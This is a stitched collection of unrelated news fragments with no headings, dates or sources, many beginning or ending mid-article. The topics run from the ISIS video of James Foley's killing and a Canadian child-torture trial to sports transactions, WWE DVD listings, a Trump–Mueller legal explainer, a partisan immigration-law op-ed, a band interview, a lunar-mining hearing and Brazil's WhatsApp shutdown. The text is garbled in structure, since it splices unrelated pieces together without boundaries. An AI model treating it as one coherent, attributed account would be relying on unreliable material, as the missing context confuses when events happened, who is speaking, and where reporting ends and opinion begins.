In a statement Tuesday night on a Facebook page dedicated to his freedom, Foley’s mother appeared to accept that the video was authentic. “We have never been prouder of our son Jim,” Diane Foley wrote. “He gave his life trying to expose the world to the suffering of the Syrian people.
“We implore the kidnappers to spare the lives of the remaining hostages. Like Jim, they are innocents. They have no control over American government policy in Iraq, Syria or anywhere in the world.”
Praising James Foley as “an extraordinary son, brother, journalist and person,” she asked that the family’s privacy be respected.
Sotloff, a freelancer who worked for several news organizations, disappeared in Syria in August 2013.
In addition to Foley and Sotloff, at least three other Americans are believed to be captives in Syria, including Austin Tice, a freelance journalist whose articles appeared in McClatchy publications and The Washington Post before his disappearance in August 2012, according to a 2013 GlobalPost article. No one has claimed to be holding them.
According to the Committee to Protect Journalists, at least 66 journalists, all but 10 of them Syrian, have been killed covering the Syrian war. If the video is authenticated, Foley would be the first American journalist known to be executed since the conflict began in early 2011. The video evoked the 2002 taped execution in Pakistan of Wall Street Journal correspondent Daniel Pearl by al-Qaeda.
The Islamic State, an offshoot of al-Qaeda, is the most powerful among a number of extremist organizations that have emerged during the Syrian civil war, which began as a popular uprising against President Bashar al-Assad. Fighting against both Assad and U.S.-backed rebels, the militants now control much of eastern Syria and claim to have established an Islamic caliphate spanning Syria and neighboring Iraq.
As the group has grown, it has merged with the group formerly known as al-Qaeda in Iraq, under the leadership of Abu Bakr al-Baghdadi. According to U.S. intelligence, it numbers in the thousands, including foreign fighters from Europe and the United States.
In April, Islamic State fighters swept across the border into northern Iraq, taking over the city of Mosul before moving southward to within 60 miles of Baghdad. Extensive reports of executions, including beheadings and crucifixions, have emerged from areas under the group’s control.
This month, amid reports of stranded and besieged Iraqi minorities threatened with execution, the militants advanced eastward toward Irbil, the capital of the semiautonomous Kurdish region of Iraq.
On Aug. 7, Obama authorized U.S. airstrikes to rescue stranded minorities and protect U.S. personnel and facilities in Irbil and Baghdad. On Monday, after a total of 68 strikes from jets, bombers and drones, Obama announced that Iraqi and Kurdish forces, with U.S. air support, had retaken a strategic dam north of Mosul from the militants and that they had been pushed back from Irbil.
Within hours of that announcement, the Islamic State posted an online message warning it would attack Americans “in any place” in response to the airstrikes. “We will drown all of you in blood,” it said.
The title of the video posted Tuesday was “A Message to America” and was produced by the Islamic State’s media arm, according to the Site Intelligence Group, which monitors extremist Web sites.
A masked man dressed in black is shown standing in an unidentified desert location beside a prisoner kneeling beside him with his hands behind his back. “Obama authorized military operations against the Islamic State effectively placing America upon a slippery slope towards a new war against Muslims,” the masked man says.
The video then shows a clip of Obama’s Aug. 7 announcement, followed by a statement from the prisoner.
“I call on my friends, family and loved ones to rise up against my real killers, the U.S. government, for what will happen to me is only a result of their complacent criminality,” he says. He asks his parents not to accept “any meager compensation from the same people who effectively hit the last nail in my coffin with the recent aerial campaign in Iraq.”
The prisoner also appeals to “my brother John, who is a member of the U.S. Air Force,” to “think about what you are doing.”
“I wish I had more time,” he says. “I wish I could have the hope for freedom to see my family once again, but that ship has sailed. I guess all in all, I wish I wasn’t an American.”
The masked man then identifies the prisoner as “James Wright Foley, an American citizen of your country.” He then reaches down with a large knife and begins the apparent beheading of the prisoner; the screen fades to black and the next image is of a body with a head placed upon its chest.
The masked man then appears with another prisoner, identified as Sotloff, in a similar kneeling position.
Foley reported from some of the most dangerous recent crises and was imprisoned for 44 days in Libya in 2011 by forces loyal to deposed leader Moammar Gaddafi. According to Global­Post, two eyewitnesses saw his interception by a group of armed men in a silver-colored van on a road near the town of Taftanaz in northern Syria on Nov. 22, 2012.
Since then, Global­Post “has mounted an extensive international investigation . . . to determine who kidnapped Foley and where he was being held,” Global­Post said in an article on its Web site late Tuesday.
When Wesley Matthews ruptured his left Achilles tendon on March 5, it didn't take long for Neil Olshey to realize his own offseason had changed dramatically.
"I had,'' Olshey would lament a month later, "the easiest job this summer.''
Before Matthews' injury, an intern could have done Olshey's job as president of basketball operations: Sign a driven and content LaMarcus Aldridge to a max contract and give well-earned raises to Matthews and Robin Lopez, keeping together a starting lineup that had won 69 percent of its games the past two seasons.
"Then find someone at the mid-level exception to strengthen the bench,'' Olshey said while wiping his hands clean, "and you're done.''
But deep down, Olshey knew he lost more than just a starting shooting guard that March night at the Moda Center, and he knew he had lost more than the heart-and-soul of the Blazers.
Gone too was an era of continuity and cohesion, and an era of success with one of the most popular Blazers cores.
Bringing back Matthews, Olshey knew at the time, probably wasn't happening. History shows players with Achilles injuries don't recover and play anywhere near the same level.
But something else happened that also altered the course of the franchise.
The Blazers sputtered, then bottomed out after Matthews' injury. They won only 11 of their final 27 games during which perceptions and moods changed.
Aldridge, who appeared so committed to the team in January when he postponed surgery on his injured thumb, had an entirely different look by the time the playoffs arrived. He was distant, sometimes not taking part in late-game huddles and flying home separate from the team after Game 2 in Memphis. He was also the last to join the team for breakfast before Game 5.
Meanwhile, Lopez had a puzzling finish to the season, finishing the final two games with one rebound and six points in 45 minutes. Granted, they were meaningless games, but it was a precursor to his playoff series against Memphis, where he became so ineffective that he played only 21 and 18 minutes in the final two games of the series.
And Nicolas Batum, so hot-and-cold throughout his Blazers career, never found a groove late in the season.
Matthews was one of Aldridge's closest confidants on the team. He was the Blazers' best perimeter defender, and in his absence Lopez was under constant barrage at the rim. And the ebbs of Batum's play became more magnified when Matthews' frequent shooting streaks weren't there to distract.
It became apparent the Blazers' core was very good, but only when they were together.
As a result, over the course of two months, the lens at which Olshey viewed the Blazers future apparently changed.
Before the June draft, he traded Batum to Charlotte for Gerald Henderson, a solid veteran, and Noah Vonleh, a 19-year-old project.
In free agency, Olshey didn't even throw his hat in the ring in the bidding for Matthews, who is headed to Dallas, and it sounds like he made nothing more than overtures to Lopez, who appears headed to the Knicks.
Just like that, one of the more entertaining and likeable Blazers cores since the heyday of Clyde-Terry-Jerome-Buck-Duck era, had been dismantled.
As a result, it could be argued that the injury to Matthews should now go alongside Bill Walton, Sam Bowie, Brandon Roy and Greg Oden as among the most influential in franchise history.
Not all is lost, of course.
Damian Lillard is reportedly in Los Angeles, where he hopes to speak with Aldridge and convince him that there is still a good thing going in Portland. If Aldridge does return, the Blazers could be an enticing blend of veterans, depth, and youth coming into its own.
Rising from the rubble of a dismantled core could be a younger, more sustainable, and perhaps more successful collection of talent.
If Aldridge doesn't come back, the Blazers will probably be one step beyond a rebuilding project, a .500-type team with a young and promising nucleus.
Either way, it's hard not to look at March 5 as the day that signaled such a tumultuous summer.
By Football Italia staff
The two Curvas at the Juventus Stadium could be populated by children for the Juventus-Udinese Serie A game.
As it stands, those two sections of the ground – behind each goal – will be closed to supporters as a punishment for territorial discrimination chants aimed at the city of Naples during the 3-0 win over Napoli.
The Curva Nord will be closed for 90 minutes, while the Curva Sud will be shut for two games – thus will also be empty for the Sassuolo tie.
However, after an initiative by Turin daily Tuttosport, those two parts of the arena may now be filled with kids instead of Ultras.
The total runtime for the Blu-ray is: 8 hours and 50 minutes, the discs breakdown is:
Disc 1: 4 hours and 23 minutes
Disc 2: 2 hours and 57 minutes + 1 hour and 30 minutes of Blu-ray exclusives
Sunny also confirmed that Josh Matthews hosts and all the matches are complete. Additionally the segments are also shown in their entirety (including Lesnar’s return which started with the Cena promo) and the Lesnar/Cena confrontation includes un-editied blood.
Also thanks to David Diaz we have some pictures of the DVD version of The Best of Raw & SmackDown 2012 DVD.
Pre-order your copy of The Best of Raw & SmackDown 2012 now:
We have heard from an anonymous emailer that Todd Pettengill was recently spotted at WWE Headquarters and he could be hosting The Best of WWE In Your House. At the moment we cannot confirm this, however we hope to have more information in the coming weeks. The Best of WWE In Your House DVD and Blu-ray will be released in the United States on April 30, 2013. [Pre-order your copy now].
In some WWE Studios news, the cover art and special features have surfaced for the next WWE Studios release – The Marine 3: Homefront, staring The Miz. This one will be released in the United States on March 5, 2013 (and the following month in the UK). [Pre-order Now]
The Marine 3 features The Miz as Sgt. Jake Carter, who, after returning to his hometown on leave, learns that his sister has been abducted by a band of violent extremists. To save her, Carter launches a daring one-man assault on their base of operations – only to discover the group’s ruthless leader is plotting a deadly terrorist strike
Special Features:
Shipwrecked: Breaking Down the Boat
The Miz Rocks the Boat
The Miz Declassified
Casting Call: Ready to Enlist
Miz Journal
After launching their website (WWEDVD.co.uk) just last week, FremantleMedia have already shipped out their very first new WWE DVD and Blu-ray – Night of Champions 2012.
We also heard that the 50 winners of the CM Punk signed sleeve will be contacted next week by email, and they will also receive a WWE Certificate of Authenticity. Good luck to everyone who pre ordered.
HE'S BEST known for tormenting North Melbourne with his prowess in attack but Adelaide's Sam Kerridge is hoping he'll hurt other opposition sides this year through the midfield.
Kerridge has 10 goals in his two games against the Kangaroos, including a haul of six in the second half of the Crows' miracle one-point win at Etihad Stadium in round nine, 2013.
Last year he booted four at Adelaide Oval as Adelaide cruised to a 36-point win.
The 21-year-old also showed his worth as a defensive midfielder last year in the absence of the injured Nathan van Berlo and has running power that would be the envy of most players in the competition.
He beat van Berlo in the club's 2km time trial in January – the first time in recent memory the former skipper has had to relinquish his crown as Adelaide's time-trial king.
Having improved his understanding of what it takes to play through the middle by studying his more experienced teammates, Kerridge hoped he'd be given opportunity to follow in their footsteps.
"I grew up playing as a midfielder and felt I was drafted as a midfielder and someone who can push forward," Kerridge said.
"To play in the midfield you've got to be really switched on and know your game and that's something that you learn off the older guys like Scott Thompson, Nathan van Berlo and now Rory Sloane – (midfield coach) Scott Camporeale has been really hot on that as well.
"It's not so much your fitness and how strong you are and big bodies, it's also your game knowledge – where to position yourself, where to stand."
Kerridge missed eight weeks in the second half of last season with what was described as a "hot spot" in his foot.
He had featured in Adelaide's opening 13 games of the season but the injury forced him out of the side until round 23.
He hasn't missed a beat this summer though and said he was itching to put his hard work into practice during the NAB Challenge.
The main argument for this method of capturing games is for preservation, as any kind of physical media eventually degrades. However, sometimes this leads to piracy, and thus the entire thing is a pretty big gray area, legally speaking.
Now, we’ve learned (via GBATemp) the first Nintendo Switch ROMs have been dumped online. The games include:
The Legend of Zelda: Breath of the Wild
Mario Kart 8 Deluxe
Arms
Has Been Heroes
Puyo Puyo Tetris
Lego City Undercover
“I thought the devil’s inside him. I saw his eyes and heard his voice,” the Mountie told court Wednesday morning.
The chilling detail was revealed under questioning by lawyer Anne London Weinstein, who is defending the Mountie’s wife, also on trial for confining the boy and failure to provide necessities of life.
It’s not clear when the exorcism was performed, but it was sometime before September 2012, and before the Mountie allegedly started torturing and starving his son in their darkened Kanata basement.
The Mountie, suspended without pay, has also admitted to burning his shackled, naked son with a BBQ lighter as a form of punishment for misbehaving and refusing to do homework.
It was the Mountie’s third day on the stand and when asked about the exorcism, he said his son reminded him of the girl in the 1973 horror film The Exorcist.
It’s not clear where they prayed to rid the boy’s “demons” but the boy, now 14, told investigators he thinks it was in his home because he recalls his father and the priest using a crucifix from the kitchen wall to perform the Rite of Exorcism.
The Mountie, who has presented himself as a victim, said he had run out of options to control his “out-of-control” son. He also rationed his food to the point that the boy weighed only 50 pounds on the day — Feb. 12, 2013 — he escaped his chains in search of water while his family was out shopping. Doctors, some of whom cried at the sight of his emaciated, tiny frame, said he almost starved to death.
The priest in question testified in December at the child-torture trial, and defended the disgraced Mountie.
However, the priest provided inconsistent testimonies under oath.
He told court back then that he had memory problems due to his “professional habit,” and that he had trained his brain to flush away facts after so many years of hearing confession.
The prosecutor, at the time, reminded court that the case had nothing to do with confession and firmly established the boy had never exhibited any out-of-control behaviour in the priest’s presence. The reality, the prosecutor said, was that the abused boy’s father exaggerated his son’s behaviour to justify the boy’s torture and that all of the boy’s so-called problems the priest knew about were detailed exclusively by the boy’s father.
The boy’s father and stepmother, both free on bail, are each charged with aggravated assault, forcible confinement, and failure to provide necessities of life.
The boy’s father is also charged with sexual assault causing bodily harm, and three counts of assault with a weapon (handcuffs, wooden stick, and a barbecue lighter). The stepmother, a 36-year-old federal government employee, is also charged with assault with a weapon (a wooden spoon).
There is a publication ban on the names of the accused to shield the identity of the boy.
Mueller must carry out a largely independent investigation into Trump’s dealings with Russia and possibly whether he attempted to obstruct justice; Trump must weigh the political costs of how to respond to Mueller’s probe and what power he can, or should, exert over him.
The legal underpinnings of the relationship are as complex as the public struggle and illuminate the fraught structural balance between a special counsel and the president.
These are the three key legal questions surrounding their relationship.
Question 1: Could Trump fire Mueller?
Trump does not have the direct authority to fire Mueller, but he does have the power to compel someone else to do it for him.
According to the regulations governing special counsels, a special counsel can be removed “only by the personal action of the Attorney General. The Attorney General may remove a Special Counsel for misconduct, dereliction of duty, incapacity, conflict of interest, or for other good cause,” and the reasoning must be provided in writing.
In this case, that means Deputy Attorney General Rod Rosenstein, since Attorney General Jeff Sessions has recused himself. So, if Trump wants Mueller fired, he has to order Rosenstein to do it. But that’s where things could get messy and lead down a similar path to President Nixon’s “Saturday Night Massacre,” when multiple Justice Department officials resigned rather than follow his orders to fire the special prosecutor.
There are indications that Rosenstein might resign if ordered to do this: he reportedly threatened to quit over how Trump handled firing FBI Director James Comey, and during a hearing before the Senate Appropriations Committee he said of firing Mueller, “I’m not going to follow any order unless I believe those are lawful and appropriate orders… If there were not good cause, it wouldn’t matter to me what anybody says.”
If Rosenstein resigns rather than follow President Trump’s order (or if Trump fires him), it would begin going down the line of Justice Department officials until Trump finds someone willing to do it. Here’s the catch: legal experts say a Justice official confirmed by the Senate needs to do it, according to an interpretation of a statute. In Nixon’s case, the solicitor general ended up doing it.
But Trump doesn’t have a solicitor general confirmed yet; his Justice Department currently has just three Senate-confirmed officials in place (and three more voted out of committee). The only other Senate-confirmed positions Trump has ready are Associate Attorney General Rachel Brand and Acting Assistant Attorney General for the National Security Division Dana Boente (who is not Senate-confirmed in that position, but has been confirmed as U.S. Attorney for the Eastern District of Virginia). If Brand and Boente won’t carry out Trump’s wish, then this executive order would designate who comes next.
The other way Trump could potentially fire Mueller and avoid the tricky situation outlined above is if he disregards the special counsel regulations or orders them repealed, and then fires Mueller himself. There’s a constitutional argument for why he could do this, since the president is vested with the ultimate law enforcement power. Special counsel regulations do not and cannot cut into this constitutional authority: they are regulations, not laws. But Trump actually going this route is probably far-fetched.
Question 2: Under what circumstances would Rosenstein recuse himself?
Trump may be under investigation for obstruction of justice. That puts Rosenstein in a sticky situation, because Mueller reports to him, and he was an important player in Trump’s firing of FBI Director James Comey. (He wrote a memo outlining reasons to fire Comey, which Trump at various times has cited as precipitating his decision.)
This means that if Mueller’s investigation looks into that action, Rosenstein would be a witness in the obstruction of justice probe. Justice Department regulations are largely mum on this exact situation: the sections governing recusal say an official should step back “if he has a personal or political relationship with… any person or organization substantially involved in the conduct that is the subject of the investigation or prosecution.” That’s not quite the case here, but Rosenstein still may want to avoid the appearance of any ethical violations. He reportedly had a private conversation with Associate Attorney General Rachel Brand saying that he’s considering recusing himself.
If Rosenstein does recuse, that means Brand is running the show. The rest of the above questions stay the same, but she would be the top Justice official Mueller reports to instead of Rosenstein.
Question 3: Can Mueller indict Trump?
This is a constitutional question about whether a sitting president can be criminally prosecuted, and there isn’t a clear answer. It has never happened before, and no court has definitively ruled on the issue. (The Supreme Court heard arguments about it in 1974 about Nixon, but never resolved the question.)
Here’s what the Constitution says in Article 1 Section 3: “Judgment in cases of impeachment shall not extend further than to removal from office, and disqualification to hold and enjoy any office of honor, trust or profit under the United States: but the party convicted shall nevertheless be liable and subject to indictment, trial, judgment and punishment, according to law.”
The text of the Constitution doesn’t explicitly state whether a president can be prosecuted while in office, so arguments are based on structure and inference. The official view of the executive branch is that it can’t be done. The Office of Legal Counsel wrote in a 2000 memo arguing a president can’t be indicted, “The indictment or criminal prosecution of a sitting President would impermissibly undermine the capacity of the executive branch to perform its constitutionally assigned functions,” though it acknowledges, “Neither the text nor the history of the Constitution ultimately provided dispositive guidance in determining whether a president is amenable to indictment or criminal prosecution while in office. It therefore based its analysis on more general considerations of constitutional structure.”
In Mueller’s position as special counsel, he is bound by Justice Department policies, but it’s an unresolved question how much deference he must give to the Office of Legal Counsel’s previous legal analyses on this issue. If Mueller decides he can make his own interpretation on this issue and Rosenstein disagrees with his decision, Rosenstein could overrule him by going to Congress and saying that Mueller’s conclusion was “so inappropriate or unwarranted under established Departmental practices that it should not be pursued.”
Still, under the interpretation that the president cannot be indicted in office, Trump would have to resign or be impeached first, and then could be criminally charged afterwards. In that case, if Mueller’s investigation finds what he believes merits an indictment, historically that means he would bring his findings to the House, which would decide if it warrants “high crimes and misdemeanors” to impeach and proceed from there. The basic idea behind this precedent is that if you’re going to undo an election, it should be by a body that is subject to the will of the people.
Speaking to thousands of supporters in Melbourne, Fla., the Republican presidential nominee said he paused moments before walking onto the debate stage to take in the event that was about to unfold.
"I knew I was going into a situation where you were going to have one of the largest audiences in television history, and I took a deep breath and I pretended I was talking to my family," Trump said, claiming the strategy helped him throughout the 90-minute debate.
Trump also told voters that he refrained from hitting Clinton too hard during their first one-on-one debate because he "didn't want to do anything to embarrass her." He had previously told Fox News' Sean Hannity that he declined to bring up Bill Clinton's sex scandals out of respect for Chelsea Clinton, who sat next to her father at the debate.
"For 90 minutes [Clinton] argued against change while I called for dramatic change," he said. "I kept saying, for 26 years you've been doing nothing. For 26 years, she's done nothing."
Running backs - Emmitt Smith and Franco Harris
Harris was a four-time Super Bowl winner (IX, X, XIII, XIV) and earned game MVP honors in the Steelers' win over the Vikings in Super Bowl IX. Harris rushed for 158 yards and a touchdown in the Steelers' first of what would be four Super Bowl wins in six seasons in the 1970s.
The New York Times Magazine (NYT Magazine) has expanded on this tendency in a piece about Executive Order 13768, which directs the Justice Department to strip federal grant money from jurisdictions that harbor illegal aliens. Despite the fact that no court has yet opined on the constitutionality of this instruction, the NYT Magazine ponderously concludes, “All told, prospects look bleak for this executive order. Unless the Justice Department succeeds in reinterpreting it out of existence, it’s hard to see how judges — including the conservatives — will let it stand. They tend to take things literally.”
Actually, if one knows anything about constitutional law, the prospects don’t look bleak at all. “Obstacle preemption” is an established constitutional doctrine, which holds that states are prohibited, under the Supremacy Clause, from creating obstacles to the achievement of Congress’ objectives. The Immigration and Nationality Act (INA) makes it pretty obvious that Congress wished to protect the borders of the United States from unauthorized transit by foreign nationals. Sanctuary policies and non-compliance with immigration detainers are impermissible obstacles to the accomplishment Congress’ goals as set forth in the INA.
In addition, the president possesses a constitutional authority called the “Impoundment Power.” In essence, the president, as the Chief Executive of the United States, may withhold federal funds if he believes a state would use them in a manner that violates the legislation authorizing their expenditure. The Impoundment Power derives from the constitutional requirement that the president “take care that the laws are faithfully executed” and was first used by President Thomas Jefferson.
Although dating to the earliest years of the Republic, this power has been subject only to limited judicial scrutiny. In Train v. City of New York, the Supreme Court recognized the impoundment power as legitimate and held that “[t]he president cannot frustrate the will of Congress by killing a program through impoundment.” However, implied in the Supreme Court’s holding is a presidential responsibility to perpetuate the will of Congress – which is consistent with the requirements of the “Necessary and Proper” clause of the Constitution. Therefore, the President would be justified in withholding the monies for a particular program when dispensing them would fund a state’s effort to frustrate the will of Congress.
In the case of immigration enforcement, it is highly likely that a reviewing court would find the president well within his rights to withhold immigration enforcement (and general law enforcement funds) from cities, counties and states that are deliberately frustrating the will of Congress with regard to immigration laws. In short, the federal government does not have to subsidize state and local efforts to defy Congress and impede the enforcement of the Immigration and Nationality Act.
Thanks to frontman Alexis Mincolla striking up a friendship with Tool guitarist Adam Jones in 2014 when they were in a mutual acquaintance’s wedding party, Tool invited 3Teeth to join its first tour in almost two years in January. (Alternative group Primus also acted as support.) Mincolla calls the trek "pretty much a dream come true, as well as a massive learning experience."
Let Mitski Teach You to Be a Public Figure on Your Own Terms: Alt In Our Stars Podcast
"As you can imagine, it can be a little heavy to go from playing clubs to playing sold-out NBA arenas with your idols, but those guys really took us under their wings," he says. "The second to-the-last night of tour, some of the guys from Tool dressed up in furry outfits and rocked out onstage with us, and I feel like that kind of sums up the whole tour."
Watch members of Tool shake their tail feathers with 3Teeth at Pensacola Bay Center below:
Can't stop laughing at this--#toolband pranking the new guys @3teeth on second to last night of tour . #securitybreach #tourlife #hijinx #justinchancellor @adamjones_tv A video posted by Claypool Cellars (@claypoolcellars) on Jan 31, 2016 at 12:39pm PST
The video was taken Jan. 30 in Florida, where two Orlando venues were rocked by gun violence the weekend of June 11: first by the shooting death of The Voice alumna Christina Grimmie at the Plaza Live, followed by the attack on Pulse nightclub that left more than 50 injured and at least 49 dead.
The Pulse rampage sparked a Facebook posting from Mincolla that read: "F--- the homophobia of Wahhabism and the American far right which feed off each other, and always have. F--- the [sic] all pieces of shit who will politicize this tragedy to push their fascist agendas. F--- the infinite divisions that the media will conjure up just to create click-through to better sell ad space, and f--- all the idiots who will be indoctrinated by those divisions. Our deepest condolences to the families and loved ones of the [sic] all the victims, you will not be forgotten."
Voodoo Festival 2016 Lineup Revealed: Arcade Fire, Tool, The Weeknd & More
"This was sort of a knee-jerk response to being fed up with the commoditization of tragedy in this country as of lately," says Mincolla. "Probably not the most prolific or even well-thought-out response to what happened, but it was how I felt at the time. I'm just really sick of seeing people try and cash in on tragedy, the way that brands cash in on them for relevancy, the way politicians use them to push their agendas, the way the media use them to sell ad space, etc. And yet nothing changes."
The lyrical themes of <shutdown.exe> (arriving on OMF Records in the fall), directly relate to such issues. Mincolla says the project centers on "shutting down consensus reality tunnels," which are "a way to describe the generally agreed-upon perspectives of what is considered real."
"It's something we typically learn our way into when we get older. Children are considered to be inexperienced with these reality tunnels and as a result are typically more creative and less prejudiced than your average adult who’s trapped in a consensus reality tunnel," he explains. "I personally think it would be advantageous to shut them down, or temporary dismantle them at least, largely because I think we all tend to get too caught up in our own shit and lose sight of the bigger picture … maybe what I’m saying is that it would probably do us all some good to uninstall, re-evaluate, update and reinstall fresh operating systems on a more consistent basis."
3Teeth is introducing <shutdown.exe> with the single "Degrade." Listen to it below:
Mincolla notes "Degrade" is about "power dynamics and mankind's seemingly infinite capacity to degrade each other."
"There are an infinite amount socially constructed dogmas that people latch on to out of fear, that in turn create an infinite amount of divides between mankind," he says when asked why he thinks people engage in such behavior. "Now mix that up with a world of depleting resources and you get what’s called a tragedy of the commons, and self-interest reigns supreme and greed, degradation and bottom-line thinking become not only acceptable, but in some places encouraged."
3Teeth will return to the road in late August. After a few more dates with Tool in October, it plans on doing a world tour in support of <shutdown.exe>.
3Teeth tour dates:
Aug. 27 - London, Electrowerkz
Aug. 28 - Bradford, the United Kingdom, Infest
Sept. 2 - Los Angeles, The Viper Room
Sept. 3 - Phoenix, Club Red Rocks
Sept. 4 - Denver, Colo., Riotfest
Sept. 15 - Kansas City, Mo., The Riot Room
Sept. 16 - Chicago, Riotfest
Sept. 17 - Toronto, Velvet Underground
Oct. 24 - Salt Lake City, Maverik Center (with Tool)
Lawmakers from both parties on the House Science Subcommittee on Space expressed support for private lunar expeditions but raised concerns about property rights and the role of NASA.
Representatives from private space companies Blue Origin LLC, Moon Express Inc. and Astrobotic testified about their plans.
“It’s time for America to return to the moon — this time to stay,” said Bretton Alexander of Blue Origin in an opening statement. Blue Origin was founded by Amazon CEO Jeff Bezos and is “committed to building the next generation of space transportation infrastructure.”
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The lunar poles contain vast amounts of water, which can be used as clean rocket fuel when broken down into hydrogen and oxygen, the executives told lawmakers.
Robert Richards, founder and CEO of Moon Express, referred to lunar water as “the oil of the solar system.”
Moon Express, Inc. is planning a maiden voyage for 2018.
“Strategically, we should view the poles of the moon as the next Persian Gulf,” said Dr. George Sowers, a space transportation expert from the Colorado School of Mines. Richards said the moon could become a “gas station in the sky” enabling further space exploration.
Sowers encouraged Congress to act, warning of “space pirates” in the absence of laws on property rights.
The American Space Free Enterprise Act, introduced in June, would create a single authority for American lunar missions at the Office of Space Commerce.
But Rep. Ed Perlmutter (D-Colo.) said lawmakers still have “a lot of work to do” in terms of safely regulating space travel and economic development.
Rep. Ami Bera Amerish (Ami) Babulal BeraThe Hill's Morning Report — Groundhog Day: Negotiations implode as shutdown reaches 20 days Trump tells FEMA not to send more money to California for forest fires U.S. foreign aid empowers women and girls worldwide MORE (Calif.), the top Democrat on the subcommittee, urged the companies to balance plans to develop the moon with research and caution.
Some conservative lawmakers worried about too much government interference with private space companies.
Subcommittee Chairman Brian Babin (R-Texas) said Congress should not “corrupt the market.”
Rep. Dana Rohrabacher (R-Calif.) suggested using tax breaks rather than direct subsidies to “unleash our entrepreneurs” and encourage space commerce.
Lawmakers also weighed the role of NASA, urging cooperation.
Two of the companies currently work with NASA. Moon Express and Astrobotic participate in the agency’s Lunar Cargo Transportation and Landing by Soft Touchdown (CATALYST) program, a 2014 initiative encouraging the development of private-sector lunar landers for commercial purposes.
CATALYST provides Moon Express and Astrobotic with access to technical expertise, facilities and loaned equipment.
Blue Origin is also seeking a public-private partnership with the agency.
The hearing was only the latest as lawmakers increasingly turn their attention to the private space industry.
Brazil's companies have tried to stop WhatsApp before
Brazilian telecommunications companies have attempted to halt the stratospheric growth of WhatsApp in the country before, arguing to the government that the messaging app's free calling option is unregulated and illegal, and blaming the service for a marked decrease in people picking up cellphone contracts. Earlier this year, Amos Genish, president of Brazilian telecoms firm Vivo, called WhatsApp "pure piracy," specifying that the service used phone numbers that "belonged" to cellphone providers like his. Until now Brazilian companies have been unsuccessful in their quest to regulate WhatsApp, but today's shutdown may be the beginning of a change of approach from the country's government.
Brazil positioned itself as a champion of net neutrality just a few years ago, passing a landmark internet "Bill of Rights" that restricted online monitoring of its citizens, and embarking on an ambitious plan to separate itself from the American internet in the wake of the NSA spying scandal. But Brazil's Congress, now led by a former lobbyist for Brazil's telecoms companies and dominated by conservatives, is aiming to roll back the internet Bill of Rights, replacing it with a slate of laws that would mean Brazilian citizens will need to enter their tax identification, address, and phone number to use websites and apps. As TechCrunch notes, the proposed laws would let the Brazilian government censor social media, technically allowing politicians to order content removed from Facebook, Twitter, or other services, and to find out exactly who posted it in the first place.
Brazil passed net neutrality laws in 2014
According to NFL Network Insider Ian Rapoport, receiver Antonio Brown could get a deal that "eclipses the $15 million that (Bengals wide receiver) A.J. Green gets on an annual basis." It would make Brown the NFL's highest-paid wide receiver.
As Rapoport explained, the salary reconstruction that Brown received this offseason, which bumped him from $6.25 million to $10.25 million, was essentially a Band-Aid. It also came with the promise that we'll take care of you once the 2017 offseason rolls around.
While we have seen some Band-Aid contracts famously break down -- Jets fans will remember the Darrelle Revis Band-Aid deal which he signed to end a holdout in 2010 -- the situation in Pittsburgh seems entirely different. Brown is technically signed through the 2017 season but should not, under any circumstances, step on the field next season without a new deal.
Over the last four regular seasons, he has caught 481 of 695 targets (69 percent) for 6,315 yards and 43 touchdowns. He averages 13.1 yards per reception despite being double teamed or bracketed on nearly every play. He averaged just over 100 receiving yards per game between 2013 and 2016.
The question for Pittsburgh now becomes how? Outside of Brown, they must also come to financial terms with soon-to-be free agent Le'Veon Bell, who could very well price himself out of the traditional market for running backs given his insane receiving numbers for the position. In his last 34 games, Bell has 182 catches for 1606 yards and five touchdowns. Adrian Peterson led all running backs in 2016 with a $12 million cap hit, a $7.75 million base salary and per-year average ($14 million).
It would not be surprising in the least to see Bell breeze through those figures.
It is understood that neither Martin Atkinson, the referee for Sunday's game which City's lost 1-0, nor his assistants will be stood down for any future match because of the incident.
The FA cited Fifa regulations for its inability to take retrospective action against Balotelli for his knee-high tackle on Song. But the upholding of the red card for Queens Park Rangers' Shaun Derry despite Ashley Young clearly diving during the London club's 2-0 defeat at Manchester United earlier the same afternoon, and the correct decision to charge Chelsea's Branislav Ivanovic for violent conduct for an incident involving Wigan Athletic's Shaun Maloney the previous day left the governing body open to accusations of inconsistency. It will also do little to calm tensions towards officials or the disciplinary process following a weekend in which a number of managers have spoken out in frustration.
The coming together of Balotelli and Song was seen by Atkinson and the nearest assistant referee. But they were partially unsighted so the serious nature of the incident was missed by them, the other assistant and the fourth official. This meant the episode was included in the official match report, and so Fifa rules that state any in-game issue cannot be reofficiated later tied the FA's hands.
While this procedure is endorsed by all Premier League clubs, it is understood that Atkinson and many of his elite match official colleagues are unhappy at the criticism aimed at them.
The statement from the FA said: "Retrospective action in relation to the incident involving Mario Balotelli of Manchester City and Alex Song of Arsenal, which occurred in the 20th minute of Sunday's game, will not be taken. Where at least one of the officials has seen the coming together of players retrospective action is not taken, regardless of whether they have seen the full extent of the challenge.
"Retrospective action can only be taken in scenarios where none of the match officials saw the players coming together. The normal scenarios in which retrospective action is taken are for 'off the ball' incidents. Retrospective action was introduced for off the ball incidents where there was no contest for possession and could not be deemed to be re-refereeing an incident. In agreement with Fifa, this is how 'not seen' incidents are dealt with retrospectively in England. It is a policy that is agreed with all football stakeholders."
Balotelli has been sent off twice this season, including for the two yellow cards he later received against Arsenal, and been found guilty of a further red card offence retrospectively. So any eventual sanction for the studs-high challenge on Song would have been his fourth red card, and increased his tariff to a nine-game ban. While he will now miss three matches and be available for City's final three games of the season, Derry misses QPR's meeting with Swansea City on Wednesday.
"Queens Park Rangers midfielder Shaun Derry will serve a one-match suspension with immediate effect after his claim of wrongful dismissal was rejected by a regulatory commission today," the FA's statement said.
But, with there being no explanation regarding why Derry's sending-off was not rescinded despite Young going down under minimal contact, there will be further outrage at QPR. Phillip Beard, the club's CEO, said after the game that Young "could partner diver Tom Daley at the Olympic Games".
There was further confusion when the FA announced that after reviewing video evidence Ivanovic would be charged for apparently aiming a punch at Maloney, which was not seen by the match officials, but was caught on video, during his side's 2-1 victory at Stamford Bridge.
Replays showed both Chelsea goals in the 2-1 win should have been disallowed for offside and Mike Riley, the head of the Professional Game Match Officials Board, apologised for this. Roberto Martínez, the Wigan manager, said: "He just said he understands that at the level of refereeing in this league, they should get that call right. I think that is a very honourable way to face mistakes. We are all capable of making mistakes and it is about how you react to them."
With just a few more weeks to go before Assassin's Creed Syndicate's release, Ubisoft's stealth-action game is now up for preorder on digital channels. As a result, we've learned the game's file size.
